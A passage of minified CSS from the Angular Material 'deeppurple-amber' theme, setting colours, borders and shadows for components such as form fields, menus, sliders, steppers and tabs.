.mat-form-field-label{color:#00000061}.deeppurple-amber-theme .mat-form-field-appearance-fill.mat-form-field-disabled .mat-form-field-underline:before{background-color:transparent}.deeppurple-amber-theme .mat-form-field-appearance-outline .mat-form-field-outline{color:#0000001f}.deeppurple-amber-theme .mat-form-field-appearance-outline .mat-form-field-outline-thick{color:#000000de}.deeppurple-amber-theme .mat-form-field-appearance-outline.mat-focused .mat-form-field-outline-thick{color:#673ab7}.deeppurple-amber-theme .mat-form-field-appearance-outline.mat-focused.mat-accent .mat-form-field-outline-thick{color:#ffa000}.deeppurple-amber-theme .mat-form-field-appearance-outline.mat-focused.mat-warn .mat-form-field-outline-thick,.deeppurple-amber-theme .mat-form-field-appearance-outline.mat-form-field-invalid.mat-form-field-invalid .mat-form-field-outline-thick{color:#f44336}.deeppurple-amber-theme .mat-form-field-appearance-outline.mat-form-field-disabled .mat-form-field-label{color:#00000061}.deeppurple-amber-theme .mat-form-field-appearance-outline.mat-form-field-disabled .mat-form-field-outline{color:#0000000f}.deeppurple-amber-theme .mat-icon.mat-primary{color:#673ab7}.deeppurple-amber-theme .mat-icon.mat-accent{color:#ffa000}.deeppurple-amber-theme .mat-icon.mat-warn{color:#f44336}.deeppurple-amber-theme .mat-form-field-type-mat-native-select .mat-form-field-infix:after{color:#0000008a}.deeppurple-amber-theme .mat-input-element:disabled,.deeppurple-amber-theme .mat-form-field-type-mat-native-select.mat-form-field-disabled .mat-form-field-infix:after{color:#00000061}.deeppurple-amber-theme .mat-input-element{caret-color:#673ab7}.deeppurple-amber-theme .mat-input-element::placeholder{color:#0000006b}.deeppurple-amber-theme .mat-input-element::-moz-placeholder{color:#0000006b}.deeppurple-amber-theme .mat-input-element::-webkit-input-placeholder{color:#0000006b}.deeppurple-amber-theme .mat-input-element:-ms-input-placeholder{color:#0000006b}.deeppurple-amber-theme .mat-form-field.mat-accent .mat-input-element{caret-color:#ffa000}.deeppurple-amber-theme .mat-form-field.mat-warn .mat-input-element,.deeppurple-amber-theme .mat-form-field-invalid .mat-input-element{caret-color:#f44336}.deeppurple-amber-theme .mat-form-field-type-mat-native-select.mat-form-field-invalid .mat-form-field-infix:after{color:#f44336}.deeppurple-amber-theme .mat-list-base .mat-list-item,.deeppurple-amber-theme .mat-list-base .mat-list-option{color:#000000de}.deeppurple-amber-theme .mat-list-base .mat-subheader{color:#0000008a}.deeppurple-amber-theme .mat-list-base .mat-list-item-disabled{background-color:#eee;color:#00000061}.deeppurple-amber-theme .mat-list-option:hover,.deeppurple-amber-theme .mat-list-option:focus,.deeppurple-amber-theme .mat-nav-list .mat-list-item:hover,.deeppurple-amber-theme .mat-nav-list .mat-list-item:focus,.deeppurple-amber-theme .mat-action-list .mat-list-item:hover,.deeppurple-amber-theme .mat-action-list .mat-list-item:focus{background:rgba(0,0,0,.04)}.deeppurple-amber-theme .mat-list-single-selected-option,.deeppurple-amber-theme .mat-list-single-selected-option:hover,.deeppurple-amber-theme .mat-list-single-selected-option:focus{background:rgba(0,0,0,.12)}.deeppurple-amber-theme .mat-menu-panel{background:white}.deeppurple-amber-theme .mat-menu-panel:not([class*=mat-elevation-z]){box-shadow:0 2px 4px -1px #0003,0 4px 5px #00000024,0 1px 10px #0000001f}.deeppurple-amber-theme .mat-menu-item{background:transparent;color:#000000de}.deeppurple-amber-theme .mat-menu-item[disabled],.deeppurple-amber-theme .mat-menu-item[disabled] .mat-menu-submenu-icon,.deeppurple-amber-theme .mat-menu-item[disabled] .mat-icon-no-color{color:#00000061}.deeppurple-amber-theme .mat-menu-item .mat-icon-no-color,.deeppurple-amber-theme .mat-menu-submenu-icon{color:#0000008a}.deeppurple-amber-theme .mat-menu-item:hover:not([disabled]),.deeppurple-amber-theme .mat-menu-item.cdk-program-focused:not([disabled]),.deeppurple-amber-theme .mat-menu-item.cdk-keyboard-focused:not([disabled]),.deeppurple-amber-theme .mat-menu-item-highlighted:not([disabled]){background:rgba(0,0,0,.04)}.deeppurple-amber-theme .mat-paginator{background:white}.deeppurple-amber-theme .mat-paginator,.deeppurple-amber-theme .mat-paginator-page-size .mat-select-trigger{color:#0000008a}.deeppurple-amber-theme .mat-paginator-decrement,.deeppurple-amber-theme .mat-paginator-increment{border-top:2px solid rgba(0,0,0,.54);border-right:2px solid rgba(0,0,0,.54)}.deeppurple-amber-theme .mat-paginator-first,.deeppurple-amber-theme .mat-paginator-last{border-top:2px solid rgba(0,0,0,.54)}.deeppurple-amber-theme .mat-icon-button[disabled] .mat-paginator-decrement,.deeppurple-amber-theme .mat-icon-button[disabled] .mat-paginator-increment,.deeppurple-amber-theme .mat-icon-button[disabled] .mat-paginator-first,.deeppurple-amber-theme .mat-icon-button[disabled] .mat-paginator-last{border-color:#00000061}.mat-paginator-container{min-height:56px}.deeppurple-amber-theme .mat-progress-bar-background{fill:#d5cae9}.deeppurple-amber-theme .mat-progress-bar-buffer{background-color:#d5cae9}.deeppurple-amber-theme .mat-progress-bar-fill:after{background-color:#673ab7}.deeppurple-amber-theme .mat-progress-bar.mat-accent .mat-progress-bar-background{fill:#fbe4bc}.deeppurple-amber-theme .mat-progress-bar.mat-accent .mat-progress-bar-buffer{background-color:#fbe4bc}.deeppurple-amber-theme .mat-progress-bar.mat-accent .mat-progress-bar-fill:after{background-color:#ffa000}.deeppurple-amber-theme .mat-progress-bar.mat-warn .mat-progress-bar-background{fill:#f9ccc9}.deeppurple-amber-theme .mat-progress-bar.mat-warn .mat-progress-bar-buffer{background-color:#f9ccc9}.deeppurple-amber-theme .mat-progress-bar.mat-warn .mat-progress-bar-fill:after{background-color:#f44336}.deeppurple-amber-theme .mat-progress-spinner circle,.deeppurple-amber-theme .mat-spinner circle{stroke:#673ab7}.deeppurple-amber-theme .mat-progress-spinner.mat-accent circle,.deeppurple-amber-theme .mat-spinner.mat-accent circle{stroke:#ffa000}.deeppurple-amber-theme .mat-progress-spinner.mat-warn circle,.deeppurple-amber-theme .mat-spinner.mat-warn circle{stroke:#f44336}.deeppurple-amber-theme .mat-radio-outer-circle{border-color:#0000008a}.deeppurple-amber-theme .mat-radio-button.mat-primary.mat-radio-checked .mat-radio-outer-circle{border-color:#673ab7}.deeppurple-amber-theme .mat-radio-button.mat-primary .mat-radio-inner-circle,.deeppurple-amber-theme .mat-radio-button.mat-primary .mat-radio-ripple .mat-ripple-element:not(.mat-radio-persistent-ripple),.deeppurple-amber-theme .mat-radio-button.mat-primary.mat-radio-checked .mat-radio-persistent-ripple,.deeppurple-amber-theme .mat-radio-button.mat-primary:active .mat-radio-persistent-ripple{background-color:#673ab7}.deeppurple-amber-theme .mat-radio-button.mat-accent.mat-radio-checked .mat-radio-outer-circle{border-color:#ffa000}.deeppurple-amber-theme .mat-radio-button.mat-accent .mat-radio-inner-circle,.deeppurple-amber-theme .mat-radio-button.mat-accent .mat-radio-ripple .mat-ripple-element:not(.mat-radio-persistent-ripple),.deeppurple-amber-theme .mat-radio-button.mat-accent.mat-radio-checked .mat-radio-persistent-ripple,.deeppurple-amber-theme .mat-radio-button.mat-accent:active .mat-radio-persistent-ripple{background-color:#ffa000}.deeppurple-amber-theme .mat-radio-button.mat-warn.mat-radio-checked .mat-radio-outer-circle{border-color:#f44336}.deeppurple-amber-theme .mat-radio-button.mat-warn .mat-radio-inner-circle,.deeppurple-amber-theme .mat-radio-button.mat-warn .mat-radio-ripple .mat-ripple-element:not(.mat-radio-persistent-ripple),.deeppurple-amber-theme .mat-radio-button.mat-warn.mat-radio-checked .mat-radio-persistent-ripple,.deeppurple-amber-theme .mat-radio-button.mat-warn:active .mat-radio-persistent-ripple{background-color:#f44336}.deeppurple-amber-theme .mat-radio-button.mat-radio-disabled.mat-radio-checked .mat-radio-outer-circle,.deeppurple-amber-theme .mat-radio-button.mat-radio-disabled .mat-radio-outer-circle{border-color:#00000061}.deeppurple-amber-theme .mat-radio-button.mat-radio-disabled .mat-radio-ripple .mat-ripple-element,.deeppurple-amber-theme .mat-radio-button.mat-radio-disabled .mat-radio-inner-circle{background-color:#00000061}.deeppurple-amber-theme .mat-radio-button.mat-radio-disabled .mat-radio-label-content{color:#00000061}.deeppurple-amber-theme .mat-radio-button .mat-ripple-element{background-color:#000}.deeppurple-amber-theme .mat-select-value{color:#000000de}.deeppurple-amber-theme .mat-select-placeholder{color:#0000006b}.deeppurple-amber-theme .mat-select-disabled .mat-select-value{color:#00000061}.deeppurple-amber-theme .mat-select-arrow{color:#0000008a}.deeppurple-amber-theme .mat-select-panel{background:white}.deeppurple-amber-theme .mat-select-panel:not([class*=mat-elevation-z]){box-shadow:0 2px 4px -1px #0003,0 4px 5px #00000024,0 1px 10px #0000001f}.deeppurple-amber-theme .mat-select-panel .mat-option.mat-selected:not(.mat-option-multiple){background:rgba(0,0,0,.12)}.deeppurple-amber-theme .mat-form-field.mat-focused.mat-primary .mat-select-arrow{color:#673ab7}.deeppurple-amber-theme .mat-form-field.mat-focused.mat-accent .mat-select-arrow{color:#ffa000}.deeppurple-amber-theme .mat-form-field.mat-focused.mat-warn .mat-select-arrow,.deeppurple-amber-theme .mat-form-field .mat-select.mat-select-invalid .mat-select-arrow{color:#f44336}.deeppurple-amber-theme .mat-form-field .mat-select.mat-select-disabled .mat-select-arrow{color:#00000061}.deeppurple-amber-theme .mat-drawer-container{background-color:#fafafa;color:#000000de}.deeppurple-amber-theme .mat-drawer{background-color:#fff;color:#000000de}.deeppurple-amber-theme .mat-drawer.mat-drawer-push{background-color:#fff}.deeppurple-amber-theme .mat-drawer:not(.mat-drawer-side){box-shadow:0 8px 10px -5px #0003,0 16px 24px 2px #00000024,0 6px 30px 5px #0000001f}.deeppurple-amber-theme .mat-drawer-side{border-right:solid 1px rgba(0,0,0,.12)}.deeppurple-amber-theme .mat-drawer-side.mat-drawer-end,.deeppurple-amber-theme [dir=rtl] .mat-drawer-side{border-left:solid 1px rgba(0,0,0,.12);border-right:none}.deeppurple-amber-theme [dir=rtl] .mat-drawer-side.mat-drawer-end{border-left:none;border-right:solid 1px rgba(0,0,0,.12)}.deeppurple-amber-theme .mat-drawer-backdrop.mat-drawer-shown{background-color:#0009}.deeppurple-amber-theme .mat-slide-toggle.mat-checked .mat-slide-toggle-thumb{background-color:#ffa000}.deeppurple-amber-theme .mat-slide-toggle.mat-checked .mat-slide-toggle-bar{background-color:#ffa0008a}.deeppurple-amber-theme .mat-slide-toggle.mat-checked .mat-ripple-element{background-color:#ffa000}.deeppurple-amber-theme .mat-slide-toggle.mat-primary.mat-checked .mat-slide-toggle-thumb{background-color:#673ab7}.deeppurple-amber-theme .mat-slide-toggle.mat-primary.mat-checked .mat-slide-toggle-bar{background-color:#673ab78a}.deeppurple-amber-theme .mat-slide-toggle.mat-primary.mat-checked .mat-ripple-element{background-color:#673ab7}.deeppurple-amber-theme .mat-slide-toggle.mat-warn.mat-checked .mat-slide-toggle-thumb{background-color:#f44336}.deeppurple-amber-theme .mat-slide-toggle.mat-warn.mat-checked .mat-slide-toggle-bar{background-color:#f443368a}.deeppurple-amber-theme .mat-slide-toggle.mat-warn.mat-checked .mat-ripple-element{background-color:#f44336}.deeppurple-amber-theme .mat-slide-toggle:not(.mat-checked) .mat-ripple-element{background-color:#000}.deeppurple-amber-theme .mat-slide-toggle-thumb{box-shadow:0 2px 1px -1px #0003,0 1px 1px #00000024,0 1px 3px #0000001f;background-color:#fafafa}.deeppurple-amber-theme .mat-slide-toggle-bar{background-color:#00000061}.deeppurple-amber-theme .mat-slider-track-background{background-color:#00000042}.deeppurple-amber-theme .mat-slider.mat-primary .mat-slider-track-fill,.deeppurple-amber-theme .mat-slider.mat-primary .mat-slider-thumb,.deeppurple-amber-theme .mat-slider.mat-primary .mat-slider-thumb-label{background-color:#673ab7}.deeppurple-amber-theme .mat-slider.mat-primary .mat-slider-thumb-label-text{color:#fff}.deeppurple-amber-theme .mat-slider.mat-primary .mat-slider-focus-ring{background-color:#673ab733}.deeppurple-amber-theme .mat-slider.mat-accent .mat-slider-track-fill,.deeppurple-amber-theme .mat-slider.mat-accent .mat-slider-thumb,.deeppurple-amber-theme .mat-slider.mat-accent .mat-slider-thumb-label{background-color:#ffa000}.deeppurple-amber-theme .mat-slider.mat-accent .mat-slider-thumb-label-text{color:#000000de}.deeppurple-amber-theme .mat-slider.mat-accent .mat-slider-focus-ring{background-color:#ffa00033}.deeppurple-amber-theme .mat-slider.mat-warn .mat-slider-track-fill,.deeppurple-amber-theme .mat-slider.mat-warn .mat-slider-thumb,.deeppurple-amber-theme .mat-slider.mat-warn .mat-slider-thumb-label{background-color:#f44336}.deeppurple-amber-theme .mat-slider.mat-warn .mat-slider-thumb-label-text{color:#fff}.deeppurple-amber-theme .mat-slider.mat-warn .mat-slider-focus-ring{background-color:#f4433633}.deeppurple-amber-theme .mat-slider:hover .mat-slider-track-background,.deeppurple-amber-theme .mat-slider.cdk-focused .mat-slider-track-background{background-color:#00000061}.deeppurple-amber-theme .mat-slider.mat-slider-disabled .mat-slider-track-background,.deeppurple-amber-theme .mat-slider.mat-slider-disabled .mat-slider-track-fill,.deeppurple-amber-theme .mat-slider.mat-slider-disabled .mat-slider-thumb,.deeppurple-amber-theme .mat-slider.mat-slider-disabled:hover .mat-slider-track-background{background-color:#00000042}.deeppurple-amber-theme .mat-slider.mat-slider-min-value .mat-slider-focus-ring{background-color:#0000001f}.deeppurple-amber-theme .mat-slider.mat-slider-min-value.mat-slider-thumb-label-showing .mat-slider-thumb,.deeppurple-amber-theme .mat-slider.mat-slider-min-value.mat-slider-thumb-label-showing .mat-slider-thumb-label{background-color:#000000de}.deeppurple-amber-theme .mat-slider.mat-slider-min-value.mat-slider-thumb-label-showing.cdk-focused .mat-slider-thumb,.deeppurple-amber-theme .mat-slider.mat-slider-min-value.mat-slider-thumb-label-showing.cdk-focused .mat-slider-thumb-label{background-color:#00000042}.deeppurple-amber-theme .mat-slider.mat-slider-min-value:not(.mat-slider-thumb-label-showing) .mat-slider-thumb{border-color:#00000042;background-color:transparent}.deeppurple-amber-theme .mat-slider.mat-slider-min-value:not(.mat-slider-thumb-label-showing):hover .mat-slider-thumb,.deeppurple-amber-theme .mat-slider.mat-slider-min-value:not(.mat-slider-thumb-label-showing).cdk-focused .mat-slider-thumb{border-color:#00000061}.deeppurple-amber-theme .mat-slider.mat-slider-min-value:not(.mat-slider-thumb-label-showing):hover.mat-slider-disabled .mat-slider-thumb,.deeppurple-amber-theme .mat-slider.mat-slider-min-value:not(.mat-slider-thumb-label-showing).cdk-focused.mat-slider-disabled .mat-slider-thumb{border-color:#00000042}.deeppurple-amber-theme .mat-slider-has-ticks .mat-slider-wrapper:after{border-color:#000000b3}.deeppurple-amber-theme .mat-slider-horizontal .mat-slider-ticks{background-image:repeating-linear-gradient(to right,rgba(0,0,0,.7),rgba(0,0,0,.7) 2px,transparent 0,transparent);background-image:-moz-repeating-linear-gradient(.0001deg,rgba(0,0,0,.7),rgba(0,0,0,.7) 2px,transparent 0,transparent)}.deeppurple-amber-theme .mat-slider-vertical .mat-slider-ticks{background-image:repeating-linear-gradient(to bottom,rgba(0,0,0,.7),rgba(0,0,0,.7) 2px,transparent 0,transparent)}.deeppurple-amber-theme .mat-step-header.cdk-keyboard-focused,.deeppurple-amber-theme .mat-step-header.cdk-program-focused,.deeppurple-amber-theme .mat-step-header:hover:not([aria-disabled]),.deeppurple-amber-theme .mat-step-header:hover[aria-disabled=false]{background-color:#0000000a}.deeppurple-amber-theme .mat-step-header:hover[aria-disabled=true]{cursor:default}@media (hover: none){.deeppurple-amber-theme .mat-step-header:hover{background:none}}.deeppurple-amber-theme .mat-step-header .mat-step-label,.deeppurple-amber-theme .mat-step-header .mat-step-optional{color:#0000008a}.deeppurple-amber-theme .mat-step-header .mat-step-icon{background-color:#0000008a;color:#fff}.deeppurple-amber-theme .mat-step-header .mat-step-icon-selected,.deeppurple-amber-theme .mat-step-header .mat-step-icon-state-done,.deeppurple-amber-theme .mat-step-header .mat-step-icon-state-edit{background-color:#673ab7;color:#fff}.deeppurple-amber-theme .mat-step-header.mat-accent .mat-step-icon{color:#000000de}.deeppurple-amber-theme .mat-step-header.mat-accent .mat-step-icon-selected,.deeppurple-amber-theme .mat-step-header.mat-accent .mat-step-icon-state-done,.deeppurple-amber-theme .mat-step-header.mat-accent .mat-step-icon-state-edit{background-color:#ffa000;color:#000000de}.deeppurple-amber-theme .mat-step-header.mat-warn .mat-step-icon{color:#fff}.deeppurple-amber-theme .mat-step-header.mat-warn .mat-step-icon-selected,.deeppurple-amber-theme .mat-step-header.mat-warn .mat-step-icon-state-done,.deeppurple-amber-theme .mat-step-header.mat-warn .mat-step-icon-state-edit{background-color:#f44336;color:#fff}.deeppurple-amber-theme .mat-step-header .mat-step-icon-state-error{background-color:transparent;color:#f44336}.deeppurple-amber-theme .mat-step-header .mat-step-label.mat-step-label-active{color:#000000de}.deeppurple-amber-theme .mat-step-header .mat-step-label.mat-step-label-error{color:#f44336}.deeppurple-amber-theme .mat-stepper-horizontal,.deeppurple-amber-theme .mat-stepper-vertical{background-color:#fff}.deeppurple-amber-theme .mat-stepper-vertical-line:before{border-left-color:#0000001f}.deeppurple-amber-theme .mat-horizontal-stepper-header:before,.deeppurple-amber-theme .mat-horizontal-stepper-header:after,.deeppurple-amber-theme .mat-stepper-horizontal-line{border-top-color:#0000001f}.mat-horizontal-stepper-header{height:72px}.mat-stepper-label-position-bottom .mat-horizontal-stepper-header,.mat-vertical-stepper-header{padding:24px}.mat-stepper-vertical-line:before{top:-16px;bottom:-16px}.mat-stepper-label-position-bottom .mat-horizontal-stepper-header:after,.mat-stepper-label-position-bottom .mat-horizontal-stepper-header:before{top:36px}.mat-stepper-label-position-bottom .mat-stepper-horizontal-line{top:36px}.deeppurple-amber-theme .mat-sort-header-arrow{color:#757575}.deeppurple-amber-theme .mat-tab-nav-bar,.deeppurple-amber-theme .mat-tab-header{border-bottom:1px solid rgba(0,0,0,.12)}.deeppurple-amber-theme .mat-tab-group-inverted-header .mat-tab-nav-bar,.deeppurple-amber-theme .mat-tab-group-inverted-header .mat-tab-header{border-top:1px solid rgba(0,0,0,.12);border-bottom:none}.deeppurple-amber-theme .mat-tab-label,.deeppurple-amber-theme .mat-tab-link{color:#000000de}.deeppurple-amber-theme .mat-tab-label.mat-tab-disabled,.deeppurple-amber-theme .mat-tab-link.mat-tab-disabled{color:#00000061}.deeppurple-amber-theme .mat-tab-header-pagination-chevron{border-color:#000000de}.deeppurple-amber-theme .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron{border-color:#00000061}.deeppurple-amber-theme .mat-tab-group[class*=mat-background-]>.mat-tab-header,.deeppurple-amber-theme .mat-tab-nav-bar[class*=mat-background-]{border-bottom:none;border-top:none}.deeppurple-amber-theme .mat-tab-group.mat-primary .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-group.mat-primary .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-group.mat-primary .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-group.mat-primary .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-nav-bar.mat-primary .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-nav-bar.mat-primary .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-nav-bar.mat-primary .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-nav-bar.mat-primary .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#d1c4e94d}.deeppurple-amber-theme .mat-tab-group.mat-primary .mat-ink-bar,.deeppurple-amber-theme .mat-tab-nav-bar.mat-primary .mat-ink-bar{background-color:#673ab7}.deeppurple-amber-theme .mat-tab-group.mat-primary.mat-background-primary>.mat-tab-header .mat-ink-bar,.deeppurple-amber-theme .mat-tab-group.mat-primary.mat-background-primary>.mat-tab-link-container .mat-ink-bar,.deeppurple-amber-theme .mat-tab-nav-bar.mat-primary.mat-background-primary>.mat-tab-header .mat-ink-bar,.deeppurple-amber-theme .mat-tab-nav-bar.mat-primary.mat-background-primary>.mat-tab-link-container .mat-ink-bar{background-color:#fff}.deeppurple-amber-theme .mat-tab-group.mat-accent .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-group.mat-accent .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-group.mat-accent .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-group.mat-accent .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-nav-bar.mat-accent .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-nav-bar.mat-accent .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-nav-bar.mat-accent .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-nav-bar.mat-accent .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#ffb3004d}.deeppurple-amber-theme .mat-tab-group.mat-accent .mat-ink-bar,.deeppurple-amber-theme .mat-tab-nav-bar.mat-accent .mat-ink-bar{background-color:#ffa000}.deeppurple-amber-theme .mat-tab-group.mat-accent.mat-background-accent>.mat-tab-header .mat-ink-bar,.deeppurple-amber-theme .mat-tab-group.mat-accent.mat-background-accent>.mat-tab-link-container .mat-ink-bar,.deeppurple-amber-theme .mat-tab-nav-bar.mat-accent.mat-background-accent>.mat-tab-header .mat-ink-bar,.deeppurple-amber-theme .mat-tab-nav-bar.mat-accent.mat-background-accent>.mat-tab-link-container .mat-ink-bar{background-color:#000000de}.deeppurple-amber-theme .mat-tab-group.mat-warn .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-group.mat-warn .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-group.mat-warn .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-group.mat-warn .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-nav-bar.mat-warn .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-nav-bar.mat-warn .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-nav-bar.mat-warn .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-nav-bar.mat-warn .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#ffcdd24d}.deeppurple-amber-theme .mat-tab-group.mat-warn .mat-ink-bar,.deeppurple-amber-theme .mat-tab-nav-bar.mat-warn .mat-ink-bar{background-color:#f44336}.deeppurple-amber-theme .mat-tab-group.mat-warn.mat-background-warn>.mat-tab-header .mat-ink-bar,.deeppurple-amber-theme .mat-tab-group.mat-warn.mat-background-warn>.mat-tab-link-container .mat-ink-bar,.deeppurple-amber-theme .mat-tab-nav-bar.mat-warn.mat-background-warn>.mat-tab-header .mat-ink-bar,.deeppurple-amber-theme .mat-tab-nav-bar.mat-warn.mat-background-warn>.mat-tab-link-container .mat-ink-bar{background-color:#fff}.deeppurple-amber-theme .mat-tab-group.mat-background-primary .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-group.mat-background-primary .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-group.mat-background-primary .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-group.mat-background-primary .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-primary .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-primary .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-primary .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-primary .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#d1c4e94d}.deeppurple-amber-theme .mat-tab-group.mat-background-primary>.mat-tab-header,.deeppurple-amber-theme .mat-tab-group.mat-background-primary>.mat-tab-link-container,.deeppurple-amber-theme .mat-tab-group.mat-background-primary>.mat-tab-header-pagination,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-link-container,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header-pagination{background-color:#673ab7}.deeppurple-amber-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-tab-label,.deeppurple-amber-theme .mat-tab-group.mat-background-primary>.mat-tab-link-container .mat-tab-link,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-tab-label,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-link-container .mat-tab-link{color:#fff}.deeppurple-amber-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-tab-label.mat-tab-disabled,.deeppurple-amber-theme .mat-tab-group.mat-background-primary>.mat-tab-link-container .mat-tab-link.mat-tab-disabled,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-tab-label.mat-tab-disabled,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-link-container .mat-tab-link.mat-tab-disabled{color:#fff6}.deeppurple-amber-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-tab-header-pagination-chevron,.deeppurple-amber-theme .mat-tab-group.mat-background-primary>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.deeppurple-amber-theme .mat-tab-group.mat-background-primary>.mat-tab-link-container .mat-focus-indicator:before,.deeppurple-amber-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-focus-indicator:before,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-tab-header-pagination-chevron,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-link-container .mat-focus-indicator:before,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-focus-indicator:before{border-color:#fff}.deeppurple-amber-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.deeppurple-amber-theme .mat-tab-group.mat-background-primary>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron{border-color:#fff;opacity:.4}.deeppurple-amber-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-ripple-element,.deeppurple-amber-theme .mat-tab-group.mat-background-primary>.mat-tab-link-container .mat-ripple-element,.deeppurple-amber-theme .mat-tab-group.mat-background-primary>.mat-tab-header-pagination .mat-ripple-element,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-ripple-element,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-link-container .mat-ripple-element,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header-pagination .mat-ripple-element{background-color:#fff;opacity:.12}.deeppurple-amber-theme .mat-tab-group.mat-background-accent .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-group.mat-background-accent .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-group.mat-background-accent .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-group.mat-background-accent .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-accent .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-accent .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-accent .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-accent .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#ffb3004d}.deeppurple-amber-theme .mat-tab-group.mat-background-accent>.mat-tab-header,.deeppurple-amber-theme .mat-tab-group.mat-background-accent>.mat-tab-link-container,.deeppurple-amber-theme .mat-tab-group.mat-background-accent>.mat-tab-header-pagination,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-link-container,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header-pagination{background-color:#ffa000}.deeppurple-amber-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-tab-label,.deeppurple-amber-theme 